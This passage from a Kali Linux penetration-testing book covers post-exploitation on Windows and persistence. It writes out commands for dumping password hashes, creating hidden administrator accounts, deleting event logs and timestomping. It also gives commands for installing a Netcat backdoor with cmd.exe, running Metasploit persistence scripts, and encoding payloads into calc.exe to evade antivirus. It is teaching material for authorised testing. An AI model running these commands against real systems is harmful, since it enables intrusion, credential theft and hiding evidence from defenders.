• The open network sockets and connections, and recently opened
network connections.
• The memory address, including physical and virtual memory mapping.
• The LM/NTLM hashes and LSA secrets. LanMan (LM) password hashes
are Microsoft's original attempt at protecting passwords. Over the years, it
has become simple to break them and convert the hashes back into an actual
password. NT LanMan (NTLM) hashes are more recent and resilient to
attack. However, they are usually stored with the NTLM versions for the
purpose of backward compatibility. Local Security Authority (LSA) stores
"secrets" that are local passwords: remote access (wired or wireless), VPN,
autologon passwords, and so on. Any passwords stored on the system are
vulnerable, especially if the user reuses passwords.
• Specific regular expressions or strings stored in memory.
Using the sample image for a system infected with Zeus malware (https://code., we'll use Volatility
Framework to extract the encrypted LanMan password hashes.
The first step is to determine the type of image and the operating system using the
following command:
[email protected]:usr/share/volatility# python imageinfo -f
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Post Exploit – Action on the Objective
The execution of the previous command is shown in the following screenshot:
The hivelist plugin will print out the initial virtual memory location for the various
registry hives when it is called using the following command:
[email protected]:usr/share/volatility#python hivelist -f
The execution of the previous command is shown in the following screenshot:
In order to dump the hashes, the initial virtual memory locations of both the SAM and
SYSTEM hives are required. Using the following command the results are piped to a
comma-delimited file to be directly imported by a password-cracking application:
[email protected]:usr/share/volatility#python hashdump -f
/root/Desktop/zeus.vmem -y 0xe101b008 -s 0xe1544008
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The execution of the previous command is shown in the following screenshot:
The isolated LM hashes can be cracked using Hashcat, John the Ripper, Ophcrack,
and Rainbow Tables.
Creating additional accounts
The following commands are highly invasive and are usually detected by the system
owner during the incident response process. However, they are frequently planted
by an attacker to draw attention away from more persistent access mechanisms.
Refer to the following table:
net user attacker password /
Creates a new local account with a user called
attacker with the password as password.
net localgroup administrators
attacker /add
Adds the new user attacker to the local
administrator's group. In some cases,
the command will be net localgroup
administrators /add attacker.
net user username /active:yes
Changes an inactive or disabled account to
active. In a small organization, this will attract
attention. Large enterprises with poor password
management can have 30 percent of their
passwords flagged as "inactive," so it may
be an effective way to gain an account.
net share name$=C:\ /
grant:attacker,FULL /
Shares C: (or another specified drive) as a
Windows share, and grants the user (attacker)
full rights to access or modify all of the content
on that drive.
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If you create a new user account, it will be noticed when anyone logs onto the
welcome screen of the compromised system. To make the account invisible, you need
to modify the registry from the command line using the following REG command:
\WinLogon\SpecialAccounts\UserList /V account_name /
This will modify the designated registry key to hide the account of the user (/V).
Again, there may be special syntax requirements based on the specific version of the
target's operating system, so determine the Windows version first and then validate
it in a controlled test environment before implementing it against the target.
Using Metasploit for post-exploit
Metasploit was developed to support both exploit and post-exploit activities. The
present version contains approximately 200 modules that simplify post-exploit
activities. We will review some of the most important modules.
In the following screenshots, we have successfully exploited a Windows XP system
(a "classic" attack that is frequently used to validate more complex aspects of
meterpreter). The initial step is to conduct an immediate reconnaissance of the
network and the compromised system.
The initial meterpreter shell is fragile and vulnerable to failure over an
extended period of time. Therefore, once a system is exploited, we will migrate the
shell and bind it with a more stable process. This also makes detecting the exploit
more difficult.
At the meterpreter prompt, enter ps to obtain a list of running processes, as shown
in the following screenshot:
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The ps command also returns the full pathname for each process. This was omitted
from the previous screenshot. The ps list identifies that c:\windows\Explorer.
EXE is running. In this particular case, it is identified with the process ID of 1460, as
shown in the following screenshot. As this is a generally stable application, we will
migrate the shell to that process.
Now that we have a stable shell connection to the remote system, we will use the
meterpreter scripts that support post-exploitation activities.
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One of the first parameters to identify is: are we on a virtual machine? With the
meterpreter session open between the compromised system and the attacker,
the command run checkvm is issued, as shown in the following screenshot. The
returned data indicates that This is a VMware Virtual Machine.
Some of the most important post-exploit modules available through meterpreter
are described in the following table:
run checkvm
Determines if a virtual machine is present.
run getcountermeasure
Checks the security configuration on the exploited
system (antivirus, firewalls, and so on).
run killav
Disables most of the antivirus services running on
the compromised system. This script is frequently
out of date, and success should be manually verified.
run hostsedit
Allows the attacker to add entries to the Windows
HOSTS file. This can divert traffic to a different
site (a fake site), which will download additional
tools or ensure that the antivirus software cannot
connect to the Internet or a local server to obtain
signature updates.
run winenum
Performs a command-line and WMIC
characterization of the exploited system. It dumps
the important keys from the registry and LM hashes.
run scraper
Gathers comprehensive information that has not
been gathered by other scripts, such as the entire
Window registry.
run upload and run download
Allows the attacker to upload and download files
on the target system.
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run keyscan_start, run
keyscan_stop, and run
run getprivs
Starts and stops a local keylogger on the exploited
system. When the data collection is complete, the
collected text data is dumped on the attacker's system.
run getsystem
Attempts to elevate privileges to the Windows
SYSTEM level; grants the fullest possible escalation
of a user's privileges.
Run hashdump
Dumps the contents of the SAM database on the
attacker's system.
run getgui
Allows the user to enable RDP (getgui -e) and
set the username and password (getgui -u). The
gettelnet script can be run in the same manner.
run vnc
Gives the attacker a remote GUI (VNC) to the
compromised system.
Attempts to enable all of the privileges available
to the current process. It's very useful for privilege
One of the most effective meterpreter scripts is the Windows enumerator
(winenum). As seen in the following screenshot, it uses both command-line and
WMIC calls to fully characterize the target system:
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In addition to the enumeration, the winenum script also dumps the registry and
collects the system hashes for decryption as shown in the following screenshot:
The meterpreter comes with several useful libraries that support complex
functions. For example, the espia library supports screenshots of the compromised
system via the following commands:
meterpreter> use espia
Loading extension espia ... success.
meterpreter> screenshot /Desktop/target.jpeg
Screenshot saved to: /root/xsWoDDbW.jpeg
The stdapi library allows a remote attacker to manipulate a webcam by
collecting audio and video from the compromised system and relaying that
data back to the attacker.
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Escalating user privileges on a
compromised host
It is usually possible to get Guest or User access to a system. Frequently, the attacker's
ability to access important information will be limited by such reduced privilege levels.
Therefore, a common post-exploit activity is to escalate access privileges from Guest
to User to Administrator and, finally, to SYSTEM. This upward progression of gaining
access privileges is usually referred to as vertical escalation.
The user can implement several methods to gain advanced access credentials,
including the following:
• Employ a network sniffer and/or keylogger to capture transmitted user
credentials (dsniff is designed to extract passwords from live transmissions
or a pcap file saved from a Wireshark or tshark session).
• Perform a search for locally stored passwords. Some users collect passwords
in an e-mail folder (frequently called passwords). Since password reuse and
simple password construction systems are common, the passwords that are
found can be employed during the escalation process.
NirSoft ( produces several free tools that can be uploaded
to the compromised system using meterpreter to extract passwords from
the operating system and applications that cache passwords (mail, remote
access software, FTP, and web browsers).
• Dump the SAM and SYSKEY files using meterpreter or applications such as
hobocopy, fgdump, and pwdump (these can be uploaded on the target using
• Inject malicious code directly into a service running at the SYSTEM level using
a tool such as process injector (
• When some applications load, they read dynamic link library (DLL) files
in a particular order. It is possible to create a fake DLL with the same
name as a legitimate DLL, place it in a specific directory location, and
have the application load and execute it, resulting in elevated privileges
for the attacker. Several applications are known to be vulnerable to such
DLL hijacking (
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• Apply an exploit that uses a buffer overflow or other means to
escalate privileges.
• Execute the getsystem script, which will automatically escalate
administrator privileges to the SYSTEM level, from the meterpreter prompt.
Windows 7 and 2008 don't allow remote access to administrative shares,
such as ADMIN$, C$, and so on, from untrusted systems. These shares
may be required for meterpreter scripts, such as incognito, or to
support attacks over SMB. To address this issue, add HKEY_LOCAL_
Policies\System to the registry, and add a new DWORD (32-bit) key
named LocalAccountTokenFilterPolicy and set the value to 1.
Replaying authentication tokens
using incognito
One particularly interesting meterpreter library is incognito, which allows you
to impersonate and replay user tokens. Tokens are temporary keys that allow you to
access network and system resources without needing to provide your password or
other credentials with each particular access. These tokens persist on a system until it
is rebooted.
Once you have compromised a system, you can use tokens to impersonate a previous
user who created tokens, without the need to crack the user's password. This token
impersonation may allow an attacker to escalate their privileges.
At the prompt, type the following:
use incognito
The execution of the previous command is shown in the following screenshot:
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The first step is to identify all of the valid tokens that are present on the
compromised system. The number of tokens that you can see will depend on the
level of access that was initially used to compromise the target system.
You will also see that there are two types of tokens, as shown in the following
screenshot. Delegation tokens support interactive logons (for example, logging onto
a system locally or via a remote desktop). Impersonate tokens are for noninteractive
sessions, such as for when a system connects to a network drive.
As you can see, a delegation token has been identified as an Administrator. If we
can impersonate this token, we can assume its privileges.
When invoking the impersonate_token command in incognito (as shown in the
following screenshot), note that two backslashes are required in the command:
Now, if we run the shell command from the meterpreter prompt and enter whoami,
it will identify us as the administrator whose token we impersonated.
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Manipulating access credentials with
Windows Credential Editor
The Windows Credential Editor (WCE)—
research/wcefaq.html—is a refined version of the incognito script. It is available
in 32-bit and 64-bit versions as well as a "universal" version that is claimed to be
workable on all Windows platforms. WCE allows users to do the following:
• Perform pass-the-hash attacks on Windows systems
• Collect NTLM credentials from the system memory (with or without
code injection)
• Collect Kerberos tickets from Windows systems
• Use the collected Kerberos tickets on other Windows or Unix systems
to gain access
• Dump cleartext passwords stored by Windows systems
(see the following section)
To use WCE, upload the executable to the compromised system from the
meterpreter prompt. Then, initiate an interactive shell and execute WCE. As you
can see in the following screenshot, the -w option readily extracted the cleartext
Administrator password:
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Escalating from Administrator to SYSTEM
Administrator privileges allow an attacker to create and manage accounts and access
most data available on a system. However, some complex functionality mandates
that the requester have SYSTEM level access privileges. There are several ways to
continue this escalation to the SYSTEM level. The most common is to use the at
command, which is used by Windows to schedule tasks for a particular time. The at
command always runs with privileges at the SYSTEM level.
Using an interactive shell (enter shell at the meterpreter prompt), open a
command prompt and determine the compromised system's local time. If the time
is 12:50 P.M. (the at function uses a 24-hour notation), schedule an interactive
command shell for a later time, as shown in the following screenshot:
After the at task was scheduled to run, reconfirm your access privileges at the
meterpreter prompt, as shown in the following screenshot:
As you can see, the privileges have been escalated to the SYSTEM level.
Accessing new accounts with horizontal
In horizontal escalation, the attacker retains their existing credentials but uses them
to act on a different user's account. For example, a user on compromised system A
attacks a user on system B in an attempt to compromise them.
We will use horizontal escalation attacks when we review some attack vectors, such
as remote access attacks.
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Covering your tracks
Once a system has been exploited, the attacker must cover their tracks to
avoid detection, or at least make the reconstruction of the event more difficult for
the defender.
An attacker may completely delete the Windows event logs (if they are being actively
retained on the compromised server). This can be done via a command shell to the
system and using the following command:
C:\ del %WINDIR%\*.log /a/s/q/f
The command directs for all of the logs to be deleted (/a), including the files
from all of the subfolders (/s). The /q option disables all of the queries, asking for
a yes or no response, and the /f option forcibly removes the files, making recovery
more difficult.
This can also be done from the meterpreter prompt by issuing the command
clearev. This will clear the application, system, and security logs from the target
(there are no options or arguments for this command).
Ordinarily, deleting a system log does not trigger any alerts to the user. In fact, most
organizations configure logging so haphazardly that missing system logs are treated
as a possible occurrence, and their loss is not deeply investigated.
Metasploit has an additional trick up its sleeve—the timestomp option allows
an attacker to make changes to the MACE parameters of a file (the last modified,
Accessed, Created, and MFT Entry modified times of a file). Once a system has been
compromised and a meterpreter shell established, timestomp can be invoked, as
shown in the following screenshot:
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For example, C: of the compromised system contains a file named README.txt.
The MACE values for this file indicate that it was created recently, as shown in the
following screenshot:
If we want to hide this file, we may move it to a cluttered directory, such as
windows\system32. However, the file would be obvious to anyone who sorted the
contents of that directory on the basis of the creation dates or another MAC-based
variable. Therefore, to copy the MAC information from the cmd.exe file to the
README.txt file, use the following command:
meterpreter>timestomp README.txt -f
We can also choose to blank out the MAC data using the -b switch. As you can see
in the following screenshot, we have chosen to change the MAC data to a time in the
future (the year 2106).
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Such a change will attract the attention of an investigator, but they will not be able to
use the data for a forensic analysis. What do the attributes look like from the original
Windows platform? If the system administrator calls the system properties of a file,
the creation and modification dates have been changed back to the year 1601 (the
date used by Microsoft as the initial system start time). In contrast, the last accessed
time for the file remains accurate. You can see this in the following screenshot:
Although this is expected behavior, it still provides clues to an investigator. In order
to completely foul up an investigation, an attacker may recursively change all of the
set times in a directory or on a particular drive using the following command:
meterpreter>timestompC:\\ -r
The solution is not perfect. It is very obvious that an attack has occurred.
Furthermore, it is possible for timestamps to be retained in other locations on a hard
drive and be accessible for investigation. If the target system is actively monitoring
changes to system integrity using an intrusion detection system, such as Tripwire,
alerts of the timestomp activity will be generated. Therefore, destroying timestamps
is of limited value when a stealthy approach is truly required.
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Chapter 5
In this chapter, we focused on the immediate actions that follow exploitation of a
target system. We reviewed the initial rapid assessment conducted to characterize
the server and the local environment. We also learned how to identify and locate
target files of interest, create user accounts, perform vertical escalation to improve
access privileges, and remove signs of an intrusion.
In the next chapter, we will learn how to implement a persistent backdoor to retain
access, and we will learn techniques to support covert communications with the
compromised system.
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Post Exploit – Persistence
The final stage of the attacker's kill chain is the "command, control, and
communicate" phase, where the attacker relies on a persistent connection with the
compromised system to ensure that they can continue to maintain their control.
To be effective, the attacker must be able to maintain interactive persistence—they
must have a two-way communication channel with the exploited system (interactive)
that remains on the compromised system for a long period of time without being
discovered (persistence). This type of connectivity is a requirement because of the
following reasons:
• Network intrusions may be detected, and the compromised systems may be
identified and patched
• Some exploits only work once because the vulnerability is intermittent,
exploitation causes the system to fail, or because exploit forces the system
to change, rendering the vulnerability unusable
• Attackers may need to return multiple times to the same target for
various reasons
• The target's usefulness is not always immediately known at the time
it is compromised
The tool used to maintain interactive persistence is usually referred to by classical
terms such as backdoor or rootkit. However, the trend towards long-term
persistence by both automated malware and human attacks has blurred the meaning
of traditional labels; so instead, we will refer to malicious software that is intended
to stay on the compromised system for a long period of time as persistent agents.
These persistent agents perform many functions for attackers and penetration testers,
including the following:
• Allow additional tools to be uploaded to support new attacks, especially
against systems located on the same network.
• Facilitate the exfiltration of data from compromised systems and networks.
Post Exploit – Persistence
• Allow attackers to reconnect to a compromised system, usually via an
encrypted channel to avoid detection. Persistent agents have been known to
remain on systems for more than a year.
• Employ antiforensic techniques to avoid being detected, including hiding in
the target's filesystem or system memory, using strong authentication, and
using encryption.
In this chapter you will learn about the following:
• Compromising existing system and application files for remote access
• Creating persistent agents
• Maintaining persistence with the Metasploit Framework
• Redirecting ports to bypass network controls
Compromising the existing system and
application files for remote access
The best persistent agent is one that does not need to be hidden because it is part of
the existing file structure of the compromised system; the attacker only has to add
certain functionality to convert regular system files and applications into persistent
agents. This approach can almost never be detected by security controls such as
intrusion detection systems.
Remotely enabling the Telnet service
One technique used to maintain remote access is to use the Metasploit Framework to
enable the Telnet service on a Windows platform and use it to provide persistence.
The first step is to compromise the target system to obtain a meterpreter session
(migrate the session to ensure a stable shell) and then elevate access privileges.
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Next, obtain a local command shell to access the target system using the
following command:
meterpreter> execute -H -f cmd -i
When executed, this command creates an interactive command shell (-i) that acts
as a hidden process (-H).
Using the command prompt of the shell, create a new user account. When
creating user accounts to ensure persistence, many attackers use the following
two-part strategy:
• Create an account with a name that will attract attention if the compromise is
investigated (for example, Leet7737)
• Create an account that appears to be part of normal system functions, such as
Service_Account, using the following commands:
C:\net user Service_Account password /ADD
C:\net localgroup administrators Service_Account /ADD
When the new user accounts have been created, exit the Windows command shell.
To enable Telnet, run the following command from the meterpreter prompt:
run gettelnet -e
The execution of the previous command is shown in the following screenshot:
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Post Exploit – Persistence
The script shown in the previous screenshot creates a persistent Telnet service on
the compromised system. To access it, connect to the system's IP address using the
Telnet protocol and provide the username and password that were used to create the
account, as shown in the following screenshot:
The Telnet service will persist until it is removed. Unfortunately, there are some
limitations to using Telnet: it is readily detectable (especially because credentials
are transmitted in the clear) and it functions only in the command-line mode.
However, what if you need to have a GUI to access certain applications on the
compromised system?
Remotely enabling Windows Terminal
One of the most reliable techniques to ensure remote access is to persistently enable
Windows Terminal Services, also known as the Remote Desktop Protocol (RDP).
To do so, you must have administrator privileges and know the version of the
target's operating system.
For example, if the target is Windows 7, use meterpreter to obtain an interactive
command shell on the target, and then enter the following commands to change
the registry:
C:\ reg add "hklm\system\currentControlSet\Control\Terminal
Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
C:\reg add "hklm\system\currentControlSet\Control\Terminal
Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
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To ensure that RDP will pass through the client-side firewall, add a rule using the
following command:
C:\ netshadvfirewall firewall set rule group="remote desktop"
new enable=Yes
Now we can start the RDP service using the following command:
C:\net start Termservice
The change launch RDP is not yet persistent; use the following command to start
RDP each time the computer is started:
C:\sc configTermService start= auto
The process of enabling RDP is not too complex, but it is one that should be scripted
to reduce the possibility of errors, especially when working with the system registry.
Fortunately, the meterpreter framework uses the GETGUI script to automatically
enable RDP services.
When run from the meterpreter prompt, the command line shown in the following
screenshot creates the account's username and password, hides the account from the
log-in screen, and makes the necessary changes to the registry to remain persistent.
The following screenshot shows the command used to create a username that
appears to be a legitimate account (Service Account) with a simple password.
To connect to the compromised remote desktop, use Kali's rdesktop program.
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Remotely enabling Virtual Network Computing
If the system contains applications that are known to be compromised (especially
remote-access programs), it may be possible to take advantage of the existing
vulnerabilities to exploit the system. For example:
• It may be possible to extract remote-access passwords for some programs
from the registry. VNC stores passwords in the registry, and these can
be obtained by manually extracting the registry key or by uploading and
executing an application such as NirSoft's VNCPassView.
• Different versions of VNC contain different vulnerabilities that can be
exploited to compromise the application and gain remote access to the
system. If the user has a current version installed, it may be possible to
uninstall that version and install an older version in its place. Due to the
similarity of functionality among the versions, the user may not notice the
substitution, but an attacker can use the the authentication bypass exploits
found in older VNC versions to maintain access in the post-compromise phase.
Metasploit comes with the ability to introduce VNC directly to an exploited system
using the VNCINJECT module.
In the following screenshot, VNC was selected as the payload instead of the regular
reverse_TCP shell:
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This attack does not require any authentication. If you're testing a client site, ensure
that all vulnerable applications are removed from the compromised system once the
vulnerability has been proved—otherwise, you've created an access point that can be
found and used by any other attacker!
Using persistent agents
Traditionally, attackers would place a backdoor on a compromised system—if the
front door provided authorized access to legitimate users, the backdoor applications
allowed attackers to return to an exploited system and access to services and data.
Unfortunately, the classical backdoors provided limited interactivity and were not
designed to be persistent on the compromised systems for very long time frames. This
was viewed as a significant shortcoming by the attacker community, because once the
backdoor was discovered and removed, there was additional work required to repeat
the compromise steps and exploit the system, which was made more difficult by the
forewarned system administrators defending the network and its resources.
Kali now focuses on persistent agents that if properly employed, are more difficult to
detect. The first tool we will review is the venerable Netcat.
Employing Netcat as a persistent agent
Netcat is an application that supports reading from and writing to network
connections using "raw" TCP and UDP packets. Unlike packets that are organized by
services such as Telnet or FTP, Netcat's packets are not accompanied by headers or
other channel information specific to the service. This simplifies communications and
allows for an almost-universal communication channel.
The last stable version of Netcat was released by Hobbit in 1996, and it has remained
as useful as ever; in fact, it is frequently referred to as the TCP/IP Swiss army knife.
Netcat can perform many functions, including the following:
• Port scanning
• Banner grabbing to identify services
• Port redirection and proxying
• File transfer and chatting, including support for data forensics
and remote backups
• Use as a backdoor or an interactive persistent agent, on a
compromised system
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At this point, we will focus on using Netcat to create a persistent shell on a
compromised system. Although the following example uses Windows as the
target platform, it functions the same when used on a Unix-based platform.
In the example shown in the following screenshot, we will retain the executable's
name—nc.exe; however, it is common to rename it prior to use in order to minimize
detection. Even if it is renamed, it will usually be identified by antivirus software;
many attackers will alter or remove elements of Netcat's source code that are not
required and recompile it prior to use; such changes can alter the specific signature
that antivirus programs use to identify the application as Netcat, making it invisible
to antivirus programs.
Netcat is stored on Kali in the /usr/share/windows-binaries repository.
To upload it to a compromised system, enter the following command from
within meterpreter:
meterpreter> upload/usr/share/windows-binaries/nc.exe
The execution of the previous command is shown in the following screenshot:
You do not have to place it in the system32 folder specifically; however, due to
the number and diversity of filetypes in this folder, this is the best location to hide a
file in a compromised system.
While conducting a penetration test on one client, we identified six
separate instances of Netcat on one server. Netcat had been installed
twice by two separate system administrators to support network
management; the other four instances were installed by external attackers
and were not identified until the penetration test. Therefore, always look
to see whether or not a Netcat is already installed on your target!
If you do not have a meterpreter connection, you can use Trivial File Transfer
Protocol (TFTP) to transfer the file.
Next, configure the registry to launch Netcat when the system starts up and ensure
that it is listening on port 444 (or any other port that you have selected, as long as it
is not in use) using the following command:
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meterpreter>reg setval -k
HKLM\\software\\microsoft\\windows\\currentversion\\run -vv nc
-d 'C:\\windows\\system32\\nc.exe -Ldp 444 -e cmd.exe'
Confirm that the change in the registry was successfully implemented using the
following queryval command:
meterpreter>reg queryval -k
HKLM\\software\\microsoft\\windows\\currentverion\\run -vv nc
Using the netsh command, open a port on the local firewall to ensure that the
compromised system will accept remote connections to Netcat. It is important
to know the target's operating system. The netsh advfirewall firewall
command-line context is used for Windows Vista, and Windows Server 2008 and
later versions; the netsh firewall command is used for earlier operating systems.
To add a port to the local Windows firewall, enter the shell command at the
meterpreter prompt and then enter rule using the appropriate command.
When naming the rule, use a name such as svchostpassthrough that suggests
that rule is important for the proper functioning of the system. A sample
command is shown as follows:
C:\Windows\system32>netsh firewall add portopening TCP 444
"service passthrough"
Confirm that the change was successfully implemented using the following command:
C:\windows\system32>netsh firewall show portopening
The execution of the previously mentioned commands is shown in the
following screenshot:
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Post Exploit – Persistence
When the port rule is confirmed, ensure that the reboot option works.
• Enter the following command from the meterpreter prompt:
meterpreter> reboot
• Enter the following command from an interactive Windows shell:
C:\windows\system32>shutdown –r –t 00
To remotely access the compromised system, type nc at a command prompt, indicate
the verbosity of the connection (-v reports basic information and -vv reports much
more information), and then enter the IP address of the target and the port number,
as shown in the following screenshot:
Unfortunately, there are some limitations to using Netcat—there is no authentication
or encryption of transmitted data, and it is detected by nearly all antivirus software.
The lack of encryption can be resolved using cryptcat, a Netcat variant that uses the
Twofish encryption to secure data during transmission between the exploited host
and the attacker. Twofish encryption, developed by Bruce Schneier, is an advanced
symmetric block cipher that provides reasonably strong protection for encrypted data.
To use cryptcat, ensure that there is a listener ready and configured with a strong
password, using the following command:
[email protected]:~# cryptcat –k password –l –p 444
Next, upload cryptcat to the compromised system and configure it to connect with
the listener's IP address using the following command:
C:\cryptcat –k password <listener IP address> 444
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Unfortunately, Netcat and its variants remain detectable by most antivirus
applications. It is possible to render Netcat undetectable using a hex editor to alter the
source code of Netcat; this will help avoid triggering the signature matching action of
the antivirus, but this can be a long trial-and-error process. A more efficient approach
is to take advantage of the Metasploit Framework's persistence mechanisms.
Maintaining persistence with the
Metasploit Framework
Metasploit's meterpreter contains several scripts that support persistence on a
compromised system. We will examine two script options for placing a backdoor
on a compromised system: metsvc and persistence.
Using the metsvc script
The metsvc script is a network service wrapper for meterpreter that allows it to
either be used as a Windows service or run as a command-line application. It is
typically used as a backdoor to maintain communications with a compromised system.
To use metsvc, first compromise the system and then migrate meterpreter to the
explorer.exe process to obtain a more stable shell.
Execute the metsvc agent by invoking the run command, as shown in the following
screenshot. As you can see, it creates a temporary installation directory, uploads three
files (metsrv.dll, metsvc-server.exe, and metsvc.exe), and then starts metsvc.
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Post Exploit – Persistence
To interact with the persistent metsvc agent, the attacker opens the Metasploit
Framework and selects use exploit/multi/handler with the payload windows/
metsvc_bind_tcp, as shown in the following screenshot. The other parameters
(IP address and port) are also set.
When the exploit command is executed, a session is opened directly between the
two systems, allowing for the escalation of privileges and other functions to occur
from the meterpreter command line. The execution of the exploit command is
shown in the following screenshot:
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The metsvc script requires no authentication; once the agent is in place, it can be
used by anyone to gain access to the compromised system. Most attackers would
not use this without altering the source code such that it requires authentication or
ensuring that there is some method in place to filter out remote connections.
More importantly, it is not a stealthy attack. Any attempt to list running processes,
such as entering the ps command from the meterpreter prompt, will identify
the metsvc service and the fact that the executable is running from a Temp
directory—which is very suspicious! In the following screenshot, the directory with
the random name (CvjrsZWOMK) located in the Temp folder is an obvious flag that
a system has been compromised:
A simple inspection of the Temp folder will identify the three hostile files, as shown
in the following screenshot; however, these will usually be flagged by an antivirus
before they are found by manual inspection.
Using the persistence script
A more effective approach for gaining persistence is to use the meterpreter
prompt's persistence script.
After a system has been exploited and the migrate command has moved the initial
shell to a more secure service, an attacker can invoke the persistence script from
the meterpreter prompt.
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Post Exploit – Persistence
Using -h in the command will identify the available options for creating a persistent
backdoor, as shown in the following screenshot:
In the example shown in the following screenshot, we have configured persistence
to run automatically when the system boots and to attempt to connect to our listener
every 10 seconds. The listener is identified as the remote system (-r) with a specific
IP address and port. Additionally, we could elect to use the -U option, which will
start persistence when a user logs onto the system.
Note that we have arbitrarily selected port 444 for use by persistence; an
attacker must verify the local firewall settings to ensure that this port is
open, or use the reg command to open the port. Like most Metasploit
modules, any port can be selected as long as it is not already in use.
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The persistence script places a VBS file in a temporary directory; however, you can
use the -L option to specify a different location. The script also adds that file to the
local autorun sections of the registry.
Because the persistence script is not authenticated and anyone can use it to access
the compromised system, it should be removed from the system as soon as possible
after the discovery or completion of penetration testing. To remove the script,
confirm the location of the resource file for cleanup, and then execute the following
resource command:
meterpreter> run multi_console_command -rc
Creating a standalone persistent agent
with Metasploit
The Metasploit Framework can be used to create a stand-alone executable that
can persist on a compromised system and allow interactive communications.
The advantage of a stand-alone package is that it can be prepared and tested in
advance to ensure connectivity and encoded to bypass local antivirus software.
To make a simple stand-alone agent, launch msfconsole on a command prompt
in Kali.
Use msfpayload to craft the persistence agent. In the example shown in the
following screenshot, the agent is configured to use a reverse_tcp shell that
will connect to the local host at on port 4444. The agent,
named attack1.exe, will use a win32 executable template.
The stand-alone agent will only work on compromised systems with no antivirus
installed, or if the antivirus has first been disabled using the appropriate
meterpreter command. To bypass the antivirus, the backdoor must be encoded.
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There are several different options for encoding the payload, as shown in the
following screenshot:
To see the available options, use the show encoders command.
Metasploit uses approximately 30 different encoders; by default, it will select the
most appropriate encoder if one is not specified.
A good general encoder to use is shikata_ga_nai. This encoder implements
polymorphic XOR additive feedback encoding against a 4-byte key, and it is the
only encoder ranked as "excellent" by Metasploit.
To encode the previously prepared attack.exe agent, we use the following
msf>msfencode -i attack.exe -o encoded_attack.exe -e
x86/shikata_ga_nai -c 5 -t exe
This encodes the attack.exe agent five times using the shikata_ga_nai protocol.
Each time it is re-encoded, it becomes more difficult to detect. However, the
executable also increases in size.
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The full payload can be created directly from the command line in Kali. Not only can
it be encoded, but we can configure the encoding pattern to avoid certain characters.
For example, the following characters should be avoided when encoding a persistent
agent because they may result in discovery and failure of the attack:
• \x00 represents a 0-byte address
• \xa0 represents a line feed
• \xad represents a carriage return
To create a multiencoded payload, use the following command:
msf>msfpayload windows/meterpreter/bind_tcp
LPORT=444 R| msfencode -e x86/shikata_ga_nai -c 5 -t raw -a
x86 -b '\x00\x0a\x0d' -c 5 -x /root/Desktop/attack.exe -o
You can also encode msfpayload to an existing executable, and both the modified
executable and the persistent agent will function. To bind the persistent agent to an
executable such as a calculator (calc.exe), first copy the appropriate calc.exe file
into Metasploit's template folder located at /usr/share/metasploit-framework/
data/templates. When the template is in place, use the following command:
msf>msfpayload windows/meterpreter/bind_tcp
LPORT=444 R| msfencode -t exe -x calc.exe -k -o
encoded_calc_attack.exe -e x86/shikata_ga_nai -c 5
The agent can be placed on the target system, renamed calc.exe to replace the
original calculator, and then executed.
Unfortunately, nearly all Metasploit-encoded executables can be detected by
client antivirus software. This has been attributed to penetration testers who have
submitted encrypted payloads to sites such as VirusTotal (
However, you can create an executable and then encrypt it using Veil-Evasion, as
described in Chapter 4, Exploit.
Redirecting ports to bypass network
Thus far, we've examined remote control access to the exploited system as if we have
a direct connection between the victim and the attacker's machines; however, such
connectivity is frequently controlled or blocked by network devices such as a firewall.
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Attackers can circumvent these controls using port redirection, which is a designated
system that listens on defined ports and forwards the raw packets to a specific
secondary location.
Kali provides several tools that support port redirection, including nc, cryptcat,
socat, ssh, fpipe, and Metasploit's meterpreter; we'll look at some examples in
the following sections.
Example 1 – simple port redirection
Simple port redirection may be used, for example, if you have compromised a
system on the exterior of the network in the Demilitarized Zone (DMZ) and need
to be able to communicate with an internal system from a remote location.
On the compromised system in the DMZ, configure an instance of Netcat to listen to
incoming commands and forward them to the target using the following command:
[email protected]:~# nc -l -p 44444 -e <TAGET IP> 444
This command will invoke Netcat (nc) to listen (-l) to incoming traffic, and execute
(-e) the transfer of this incoming traffic to the target on port 444. Ports are not fixed
and they do not have to be the same on both the listening/forwarding host and the
final target.
If you lack complete information regarding the target's internal network, you may
try the following command:
[email protected]:~# nc -l -p <local listening port> -c "nc <TARGET IP>
<TARGET port>
This command sets the local (attacker) instance of Netcat to listen (-l) on a
designated port, and then instructs Netcat to create a new process with each
new connection (-c).
This simple example allows the outsider to connect to the direct network; however,
it does not permit a bidirectional data connection, which is required for some tools.
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Example 2 – bidirectional port redirection
Consider three separate Windows data systems:
[Attacker] | [Forwarder ] | [Target]
In order to enable a bidirectional communications channel using Netcat, we will
have to use named pipes. A named pipe, also referred to as FIFO, is a means of
creating defined interprocess communication; this allows us to handle it as an object,
making it easier to manage when issuing commands. In the following sample attack,
we create a named pipe called reverse to handle bidirectional communications.
The Attacker has an instance of Netcat on his local system set to listen on port 6661
using the following command:
nc -l 6661
The Forwarder, a compromised box with an instance of Netcat installed, will listen
for incoming packets and forward them to the target; it is configured to listen on port
6666 using the following command:
nc -l 6666
On the target system, enter the following command to create the named pipe:
mkfifo reverse
Then, configure a local instance of Netcat to use that named pipe to establish
two-way communications across the forwarding system to the Attacker using the
following command:
nc localhost 6661 0<reverse | nc localhost 6666 1>reverse
The same bidirectional data flow can be achieved using socat, which is designed
to implement connections of this type. The command for this example would be
executed from the target system and use:
socat tcp:localhost:6661 tcp:localhost:6646
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In this chapter, we focused on the final stage of the attacker's kill chain—the
command, control, and communications stage—where the attacker uses a persistent
agent to communicate with a compromised system.
That concludes the first part of this book where we examined the attacker's kill chain
in detail to see how it could be applied towards compromising a network or an
isolated system.
In Part 2, The Delivery Phase, we will examine specific applications of the kill chain
using various exploit paths. In Chapter 7, Physical Attacks and Social Engineering, we
will focus on physical security and social engineering attacks. Topics will include
an overview of the attack methodology, crafting hostile USB devices and rogue
microcomputers, the Social Engineering Toolkit, and testing the resilience of a
system to phishing attacks.
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The Delivery Phase
Physical Attacks and
Social Engineering
Exploiting Wireless
Reconnaissance and Exploitation
of Web-based Applications
Exploiting Remote Access
Client-side Exploitation
Installing Kali Linux
Physical Attacks and
Social Engineering
Social engineering, especially when combined with physical access to the target
system, is the single most successful attack vector used for penetration testing or
an actual attack.
As an attack route supporting the kill chain, social engineering focuses on the
nontechnical aspects of an attack that take advantage of a person trust and innate
helpfulness to deceive and manipulate them into compromising a network and
its resources.
The success of social engineering attacks relies on two key factors:
• The knowledge that is gained during the reconnaissance phase. The attacker
